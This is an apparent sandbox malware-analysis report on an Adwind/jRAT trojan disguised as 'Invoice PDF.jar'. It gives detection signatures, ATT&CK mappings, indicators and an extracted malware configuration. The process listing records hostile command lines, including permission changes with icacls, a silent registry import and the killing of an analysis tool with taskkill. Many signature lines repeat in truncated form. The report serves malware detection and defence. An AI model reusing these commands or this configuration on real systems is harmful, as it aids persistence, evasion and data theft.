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Cookbook:
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General
File Activities

File Created
File Written
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General
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General
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File Written
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General
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General
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File Created
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File Written
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File Created
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File Written
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Analysis Process: cscript.exe PID: 4248 Parent PID: 6132
General
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General
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General
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General
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General
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Analysis Report Invoice PDF.jar

Overview

General Information

Sample 
Name:

Invoice PDF.jar

Analysis ID: 392877

MD5: 903b63e35bf8738…

SHA1: 257ff2ca9d7848e…

SHA256: bdfe705deebedf2…

Tags: Adwind jar

Infos:

Most interesting Screenshot:

Detection

ADWINDADWIND

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped fileAntivirus detection for dropped file

Detected ADWIND Rat

Detected ADWIND Rat

Detected ADWIND Rat

Detected ADWIND Rat

Detected ADWIND Rat

Detected ADWIND Rat

Detected ADWIND RatDetected ADWIND Rat

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Yara detected AdWind RAT

Yara detected AdWind RAT

Yara detected AdWind RAT

Yara detected AdWind RAT

Yara detected AdWind RAT

Yara detected AdWind RAT

Yara detected AdWind RATYara detected AdWind RAT

Yara detected AdWind RATs dll

Yara detected AdWind RATs dll

Yara detected AdWind RATs dll

Yara detected AdWind RATs dll

Yara detected AdWind RATs dll

Yara detected AdWind RATs dll

Yara detected AdWind RATs dllYara detected AdWind RATs dll

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environmeExploit detected, runtime environme……

Java source code contains strings fo

Java source code contains strings fo

Java source code contains strings fo

Java source code contains strings fo

Java source code contains strings fo

Java source code contains strings fo

Java source code contains strings foJava source code contains strings fo……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser inTries to harvest and steal browser in……

Uses regedit.exe to modify the Wind

Uses regedit.exe to modify the Wind

Uses regedit.exe to modify the Wind

Uses regedit.exe to modify the Wind

Uses regedit.exe to modify the Wind

Uses regedit.exe to modify the Wind

Uses regedit.exe to modify the WindUses regedit.exe to modify the Wind……

AV process strings found (often use

AV process strings found (often use

AV process strings found (often use

AV process strings found (often use

AV process strings found (often use

AV process strings found (often use

AV process strings found (often useAV process strings found (often use……

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/FireChecks if Antivirus/Antispyware/Fire……

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtuaContains capabilities to detect virtua……

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU Contains functionality to query CPU ……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direcCreates files inside the system direc……

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Dropped file seen in connection with

Dropped file seen in connection with

Dropped file seen in connection with

Dropped file seen in connection with

Dropped file seen in connection with

Dropped file seen in connection with

Dropped file seen in connection withDropped file seen in connection with……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Drops files with a non-matching file e

Drops files with a non-matching file e

Drops files with a non-matching file e

Drops files with a non-matching file e

Drops files with a non-matching file e

Drops files with a non-matching file e

Drops files with a non-matching file eDrops files with a non-matching file e……

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or VFound WSH timer for Javascript or V……

Found dropped PE file which has no

Found dropped PE file which has no

Found dropped PE file which has no

Found dropped PE file which has no

Found dropped PE file which has no

Found dropped PE file which has no

Found dropped PE file which has noFound dropped PE file which has no……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valuMonitors certain registry keys / valu……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Sigma detected: Conhost Parent Pro

Sigma detected: Conhost Parent Pro

Sigma detected: Conhost Parent Pro

Sigma detected: Conhost Parent Pro

Sigma detected: Conhost Parent Pro

Sigma detected: Conhost Parent Pro

Sigma detected: Conhost Parent ProSigma detected: Conhost Parent Pro……

Uses cacls to modify the permission

Uses cacls to modify the permission

Uses cacls to modify the permission

Uses cacls to modify the permission

Uses cacls to modify the permission

Uses cacls to modify the permission

Uses cacls to modify the permissionUses cacls to modify the permission……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Uses taskkill to terminate processes

Uses taskkill to terminate processes

Uses taskkill to terminate processes

Uses taskkill to terminate processes

Uses taskkill to terminate processes

Uses taskkill to terminate processes

Uses taskkill to terminate processesUses taskkill to terminate processes

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Startup
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System is w10x64

cmd.exe (PID: 6840 cmdline: C:\Windows\system32\cmd.exe /c ''C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -javaagent:'C:\Users\user\AppData\Local\Temp\jartracer.jar' 

-jar 'C:\Users\user\Desktop\Invoice PDF.jar'' >> C:\cmdlinestart.log 2>&1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 6848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

conhost.exe (PID: 4740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

java.exe (PID: 6892 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -javaagent:'C:\Users\user\AppData\Local\Temp\jartracer.jar' -jar 'C:\Users\user\Desk

top\Invoice PDF.jar'  MD5: 28733BA8C383E865338638DF5196E6FE)
icacls.exe (PID: 6968 cmdline: C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant 'everyone':(OI)(CI)M MD5: 

FF0D1D4317A44C951240FAE75075D501)
conhost.exe (PID: 6984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

wscript.exe (PID: 6992 cmdline: wscript C:\Users\user\bgddtomvyl.js MD5: 7075DD7B9BE8807FCA93ACD86F724884)

regedit.exe (PID: 7120 cmdline: 'regedit.exe' 'C:\Users\user\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg' MD5: 617538C965AC4DDC72F9CF647C4343D5)

javaw.exe (PID: 1540 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\jhxromh.txt' MD5: 

4BFEB2F64685DA09DEBB95FB981D4F65)
java.exe (PID: 4596 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar C:\Users\user\AppData\Local\Temp\_0.54730483331891295368387

06564981496.class MD5: 28733BA8C383E865338638DF5196E6FE)
conhost.exe (PID: 4512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6236 cmdline: cmd.exe /C cscript.exe C:\Users\user\AppData\Local\Temp\Retrive7965693575833183651.vbs MD5: 

F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 6320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cscript.exe (PID: 6500 cmdline: cscript.exe C:\Users\user\AppData\Local\Temp\Retrive7965693575833183651.vbs MD5: 

00D3041E47F99E48DD5FFFEDF60F6304)
cmd.exe (PID: 6912 cmdline: cmd.exe /C cscript.exe C:\Users\user\AppData\Local\Temp\Retrive9101275134933643330.vbs MD5: 

F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 6688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cscript.exe (PID: 6980 cmdline: cscript.exe C:\Users\user\AppData\Local\Temp\Retrive9101275134933643330.vbs MD5: 

00D3041E47F99E48DD5FFFEDF60F6304)
cmd.exe (PID: 4524 cmdline: cmd.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6132 cmdline: cmd.exe /C cscript.exe C:\Users\user\AppData\Local\Temp\Retrive4117647702204724132.vbs MD5: 

F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 5688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cscript.exe (PID: 4248 cmdline: cscript.exe C:\Users\user\AppData\Local\Temp\Retrive4117647702204724132.vbs MD5: 

00D3041E47F99E48DD5FFFEDF60F6304)
cmd.exe (PID: 724 cmdline: cmd.exe /C cscript.exe C:\Users\user\AppData\Local\Temp\Retrive7530640457785674935.vbs MD5: 

F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 6716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cscript.exe (PID: 6776 cmdline: cscript.exe C:\Users\user\AppData\Local\Temp\Retrive7530640457785674935.vbs MD5: 

00D3041E47F99E48DD5FFFEDF60F6304)
xcopy.exe (PID: 6848 cmdline: xcopy 'C:\Program Files (x86)\Java\jre1.8.0_211' 'C:\Users\user\AppData\Roaming\Oracle\' /e MD5: 

9F3712DDC0D7FE3D75B8A06C6EE8E68C)
cmd.exe (PID: 6376 cmdline: cmd.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 6664 cmdline: taskkill /IM ProcessHacker.exe /T /F MD5: 15E2E0ACD891510C6268CB8899F2A1A1)

cmd.exe (PID: 2032 cmdline: cmd.exe /c regedit.exe /s C:\Users\user\AppData\Local\Temp\GYcBDbnJPA3276512531836276281.reg MD5: 

F3BDBE3BB6F734E357235F4D5898582D)
cleanup

{

  "NETWORK": [

    {

      "PORT": 7777,

      "DNS": "127.0.0.1"

    }

  ],

  "INSTALL": false,

  "MODULE_PATH": "zS/lq/BTk.GI",

  "PLUGIN_FOLDER": "DdWDtpinxpf",

  "JRE_FOLDER": "HSIROD",

  "JAR_FOLDER": "fUTkALeaTxM",

  "JAR_EXTENSION": "Vybgol",

  "ENCRYPT_KEY": "cPFjgddXIBcXBCIseEuXTZjwi",

  "DELAY_INSTALL": 2,

  "NICKNAME": "User",

  "VMWARE": false,

  "PLUGIN_EXTENSION": "DhjWU",

  "WEBSITE_PROJECT": "https://jrat.io",

  "JAR_NAME": "uiylKSALYJr",

  "JAR_REGISTRY": "WLyQyhWoosi",

  "DELAY_CONNECT": 2,

  "VBOX": false

}

Malware Configuration

Threatname: AdWind
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Sigma Overview

System Summary:

Sigma detected: Conhost Parent Process Executions

Signature Overview

• AV Detection

• Compliance

• Software Vulnerabilities

• Networking

• System Summary

• Data Obfuscation

• Persistence and Installation Behavior

• Hooking and other Techniques for Hiding and Protection

• Malware Analysis System Evasion

• Anti Debugging

• HIPS / PFW / Operating System Protection Evasion

• Language, Device and Operating System Detection

• Lowering of HIPS / PFW / Operating System Security Settings

• Stealing of Sensitive Information

• Remote Access Functionality

Click to jump to signature section

AV Detection:

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Source Rule Description Author Strings

C:\Users\user\AppData\Local\Temp\Windows2781708048
81636675.dll

JoeSecurity_AdWind_dll Yara detected 
AdWind RAT\'s dll

Joe Security

C:\Users\user\AppData\Local\Temp\_0.54730483331891
29536838706564981496.class

MAL_JRAT_Oct18_1 Detects JRAT 
malware

Florian Roth 0x36507:$x1: /JRat.class
0x3af09:$x1: /JRat.class

C:\Users\user\AppData\Roaming\jhxromh.txt MAL_JRAT_Oct18_1 Detects JRAT 
malware

Florian Roth 0x37b4a:$x1: /JRat.class
0x76554:$x1: /JRat.class

Source Rule Description Author Strings

Process Memory Space: java.exe PID: 4596 JoeSecurity_AdWind Yara detected 
AdWind RAT

Joe Security

Source Rule Description Author Strings

10.2.java.exe.4881274.1.raw.unpack JoeSecurity_AdWind_dll Yara detected 
AdWind RAT\'s dll

Joe Security

9.2.javaw.exe.740d0000.8.unpack JoeSecurity_AdWind_dll Yara detected 
AdWind RAT\'s dll

Joe Security

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Copyright Joe Security LLC 2021 Page 7 of 577



Software Vulnerabilities:

Exploit detected, runtime environment starts unknown processes

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System Summary:

Malicious sample detected (through community Yara rule)

Uses regedit.exe to modify the Windows registry

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Stealing of Sensitive Information:

Yara detected AdWind RAT

Yara detected AdWind RATs dll

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality:

Detected ADWIND Rat

Yara detected AdWind RAT

Yara detected AdWind RATs dll

Java source code contains strings found in CrossRAT

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Windows
Management
Instrumentation 1 1

Services File
Permissions
Weakness 1

Process
Injection 1 2

Masquerading 2 1 OS
Credential
Dumping 1

Query Registry 1 Remote
Services

Archive
Collected
Data 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Command and
Scripting
Interpreter 2

Boot or
Logon
Initialization
Scripts

Services File
Permissions
Weakness 1

Modify Registry 1 LSASS
Memory

Security Software
Discovery 2 3 1

Remote
Desktop
Protocol

Data from
Local
System 1

Exfiltration
Over
Bluetooth

Non-Standard
Port 1

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

Scripting 1 1 Logon Script
(Windows)

Logon Script
(Windows)

Virtualization/Sandbox
Evasion 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Remote Access
Software 2

Exploit SS7 to
Track Device
Location

Local
Accounts

Exploitation for Client
Execution 1

Logon Script
(Mac)

Logon Script
(Mac)

Disable or Modify
Tools 1 1

NTDS Process Discovery 1 Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Protocol
Impersonation

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network
Logon Script

Process
Injection 1 2

LSA
Secrets

File and Directory
Discovery 1

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Scripting 1 1 Cached
Domain
Credentials

System Information
Discovery 1 3

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled Task Startup Items Startup Items Obfuscated Files or
Information 1

DCSync Network Sniffing Windows
Remote
Management

Web
Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points
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Drive-by
Compromise

Command and
Scripting Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Services File
Permissions
Weakness 1

Proc
Filesystem

Network Service
Scanning

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application
Layer Protocol

Downgrade to
Insecure
Protocols

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Behavior Graph

ID: 392877

Sample: Invoice PDF.jar

Startdate: 19/04/2021

Architecture: WINDOWS

Score: 100

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Found malware configuration
Malicious sample detected
(through community Yara

rule)
9 other signatures

cmd.exe

2

        started       

java.exe

6

        started       

conhost.exe

        started       

wscript.exe

3 3

        started       

icacls.exe

1

        started       

conhost.exe

        started       

C:\Users\user\...\ebgeaegdbdecaedfebace.reg, ASCII

dropped

Uses regedit.exe to
modify the Windows registry

javaw.exe

34

        started       

regedit.exe

        started       

conhost.exe

        started       

107.175.101.209, 49739, 49774, 49786

NEXEONUS

United States

192.168.2.1

unknown

unknown

C:\Users\...\Windows9046764930049020633.dll, PE32

dropped

C:\Users\...\Windows278170804881636675.dll, PE32

dropped

C:\Users\...\Retrive7530640457785674935.vbs, ASCII

dropped

2 other files (1 malicious)

dropped

Tries to harvest and
steal browser information

(history, passwords,
etc)

xcopy.exe

        started       

java.exe

17

        started       

cmd.exe

        started       

4 other processes

C:\Users\user\AppData\Roaming\...\zip.dll, PE32

dropped

C:\Users\user\AppData\...\wsdetect.dll, PE32

dropped

C:\Users\user\AppData\...\w2k_lsa_auth.dll, PE32

dropped

128 other files (none is malicious)

dropped

127.0.0.1

unknown

unknown

C:\Users\...\Retrive9101275134933643330.vbs, ASCII

dropped

C:\Users\...\Retrive7965693575833183651.vbs, ASCII

dropped

cmd.exe

        started       

cmd.exe

        started       

cmd.exe

        started       

conhost.exe

        started       

conhost.exe

        started       

cscript.exe

        started       

conhost.exe

        started       

cscript.exe

        started       

conhost.exe

        started       

conhost.exe

        started       

cscript.exe

        started       

conhost.exe

        started       

cscript.exe

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots
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Source Detection Scanner Label Link

Invoice PDF.jar 12% Virustotal Browse

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\Retrive7965693575833183651.vbs 100% Avira VBS/Agent.276

C:\Users\user\AppData\Local\Temp\Windows278170804881636675.dll 100% Avira TR/Spy.Agent.lusda

C:\Users\user\AppData\Local\Temp\Retrive4117647702204724132.vbs 100% Avira VBS/Agent.276

C:\Users\user\AppData\Local\Temp\Retrive7530640457785674935.vbs 100% Avira VBS/Agent.281

C:\Users\user\AppData\Local\Temp\Retrive9101275134933643330.vbs 100% Avira VBS/Agent.281

C:\Users\user\AppData\Local\Temp\Windows9046764930049020633.dll 100% Avira TR/Spy.Agent.3850

C:\Users\user\AppData\Local\Temp\Windows278170804881636675.dll 75% Metadefender Browse

C:\Users\user\AppData\Local\Temp\Windows278170804881636675.dll 74% ReversingLabs Win32.Trojan.AdWind

C:\Users\user\AppData\Local\Temp\Windows9046764930049020633.dll 49% Metadefender Browse

C:\Users\user\AppData\Local\Temp\Windows9046764930049020633.dll 66% ReversingLabs Win32.Trojan.AdWind

C:\Users\user\AppData\Local\Temp\sqlite-3.8.11.2-42eaffe0-b8ea-4880-ab72-6ea9a41a3e14-sqli
tejdbc.dll

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\sqlite-3.8.11.2-42eaffe0-b8ea-4880-ab72-6ea9a41a3e14-sqli
tejdbc.dll

0% ReversingLabs

C:\Users\user\AppData\Roaming\Oracle\bin\JAWTAccessBridge-32.dll 3% ReversingLabs

C:\Users\user\AppData\Roaming\Oracle\bin\JavaAccessBridge-32.dll 0% Metadefender Browse

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files
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https://www.virustotal.com/gui/file/bdfe705deebedf2b4edd1fee5bb225f3a14718f0a1007553fec5050db0f7fe08/detection/f-bdfe705deebedf2b4edd1fee5bb225f3a14718f0a1007553fec5050db0f7fe08-1618867901
https://www.metadefender.com/#!/results/file/YnpJeE1ETXhPRVZ0UVcxWWRYRnpTMElIc3JSaFQ4WUk/regular/analysis
https://www.metadefender.com/#!/results/file/WVRFNE1Ea3dNMU41UW0xblJWOXhVRmdCa3loY2RLRXI/regular/analysis
https://www.metadefender.com/#!/results/file/bzE5MDkwN1NrOGdxOF9jZThCOTFIUnJIcUVoUQ/regular/analysis
https://www.metadefender.com/#!/results/file/bzE5MDgxM0JKVmVoRlVBSlZTSDE3eFl6LXhGTnI/regular/analysis


C:\Users\user\AppData\Roaming\Oracle\bin\JavaAccessBridge-32.dll 3% ReversingLabs

C:\Users\user\AppData\Roaming\Oracle\bin\WindowsAccessBridge-32.dll 0% Metadefender Browse

C:\Users\user\AppData\Roaming\Oracle\bin\WindowsAccessBridge-32.dll 3% ReversingLabs

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-console-l1-1-0.dll 0% Metadefender Browse

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-console-l1-1-0.dll 0% ReversingLabs

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-datetime-l1-1-0.dll 0% Metadefender Browse

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-datetime-l1-1-0.dll 0% ReversingLabs

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-debug-l1-1-0.dll 0% Metadefender Browse

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-debug-l1-1-0.dll 0% ReversingLabs

Source Detection Scanner Label Link

No Antivirus matches

No Antivirus matches

Source Detection Scanner Label Link

javax.xml.XMLConstants/property/accessExternalDTDS 0% Avira URL Cloud safe

www.chambersign.org1 0% URL Reputation safe

www.chambersign.org1 0% URL Reputation safe

www.chambersign.org1 0% URL Reputation safe

www.chambersign.org1 0% URL Reputation safe

java.sun.com/xml/dom/properties/ 0% Virustotal Browse

java.sun.com/xml/dom/properties/ 0% Avira URL Cloud safe

https://jrat.ioS 0% Avira URL Cloud safe

java.sun.com/xml/dom/properties/; 0% Avira URL Cloud safe

java.sun.com/xml/schema/features/report-ignored-element-content-whitespace0 0% Avira URL Cloud safe

policy.camerfirma.com0 0% URL Reputation safe

policy.camerfirma.com0 0% URL Reputation safe

policy.camerfirma.com0 0% URL Reputation safe

java.sun.com/xml/stream/properties/ignore-external-dtd 0% Avira URL Cloud safe

www.certplus.com/CRL/class2.crl 0% URL Reputation safe

www.certplus.com/CRL/class2.crl 0% URL Reputation safe

www.certplus.com/CRL/class2.crl 0% URL Reputation safe

bugreport.sun.com/bugreport/ 0% Avira URL Cloud safe

java.sun.com/xml/dom/properties/c 0% Avira URL Cloud safe

cps.chambersign.org/cps/chambersroot.html 0% URL Reputation safe

cps.chambersign.org/cps/chambersroot.html 0% URL Reputation safe

cps.chambersign.org/cps/chambersroot.html 0% URL Reputation safe

www.certplus.com/CRL/class3P.crl 0% URL Reputation safe

www.certplus.com/CRL/class3P.crl 0% URL Reputation safe

www.certplus.com/CRL/class3P.crl 0% URL Reputation safe

java.sun.com/xml/stream/properties/reader-in-defined-stateodeIter 0% Avira URL Cloud safe

javax.xml.XMLConstants/property/accessExternalDTD3 0% Avira URL Cloud safe

crl.securetrust.com/STCA.crl 0% URL Reputation safe

crl.securetrust.com/STCA.crl 0% URL Reputation safe

crl.securetrust.com/STCA.crl 0% URL Reputation safe

javax.xml.XMLConstants/property/accessExternalDTD; 0% URL Reputation safe

javax.xml.XMLConstants/property/accessExternalDTD; 0% URL Reputation safe

javax.xml.XMLConstants/property/accessExternalDTD; 0% URL Reputation safe

java.sun.com/dtd/properties.dtdk 0% Avira URL Cloud safe

java.sun.com/xml/dom/properties/ancestor-check 0% Avira URL Cloud safe

ops.com.pa/jre7.zipW 0% Avira URL Cloud safe

gG2DwoT3pJewMEBGx6.com 0% Avira URL Cloud safe

javax.xml.XMLConstants/property/ 0% URL Reputation safe

javax.xml.XMLConstants/property/ 0% URL Reputation safe

javax.xml.XMLConstants/property/ 0% URL Reputation safe

java.sun.com/xml/dom/properties/ancestor-checkurr 0% Avira URL Cloud safe

java.sun.com/xml/dom/properties/ancestor-check3C 0% Avira URL Cloud safe

ops.com.pa/jre7.zip 0% Avira URL Cloud safe

Unpacked PE Files

Domains

URLs
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https://www.metadefender.com/#!/results/file/bzE5MDgxM3IxX05WT0NKTkJISnNBN1hldE5y/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ETXpNVGM1ZFhOWE0wVnNZUXRIeUJGT00xcTk/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ETXpNVGM1ZFhOWE0wVnNZUUZtLUxBcEFsbEc/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ETXpNVGM1ZFhOWE0wVnNZUWV1bGt3Zi1qOXA/regular/analysis
https://www.virustotal.com/gui/url/bed681b31973390378314f76f4b0fb20819e934f23221564fe0d216c67d170de/detection/u-bed681b31973390378314f76f4b0fb20819e934f23221564fe0d216c67d170de-1598534716


java.sun.com/xml/stream/properties/3p 0% Avira URL Cloud safe

https://jrat.io 0% Avira URL Cloud safe

javax.xml.XMLConstants/property/accessExternalSchemaD 0% URL Reputation safe

javax.xml.XMLConstants/property/accessExternalSchemaD 0% URL Reputation safe

javax.xml.XMLConstants/property/accessExternalSchemaD 0% URL Reputation safe

javax.xml.XMLConstants/property/s3 0% Avira URL Cloud safe

java.sun.com/xml/stream/properties/reader-in-defined-state 0% Avira URL Cloud safe

Source Detection Scanner Label Link

No contacted domains info

Name Source Malicious Antivirus Detection Reputation

apache.org/xml/properties/internal/validator/schema#8 java.exe, 0000000A.00000002.59
2869177.0000000009DDB000.00000
004.00000001.sdmp

false high

javax.xml.XMLConstants/property/accessExternalDTDS java.exe, 0000000A.00000002.59
1826457.0000000004A82000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

apache.org/xml/properties/internal/entity-resolvert javaw.exe, 00000009.00000003.5
37077103.0000000014FD2000.0000
0004.00000001.sdmp

false high

apache.org/xml/features/validation/schema/augment-
psvi

javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
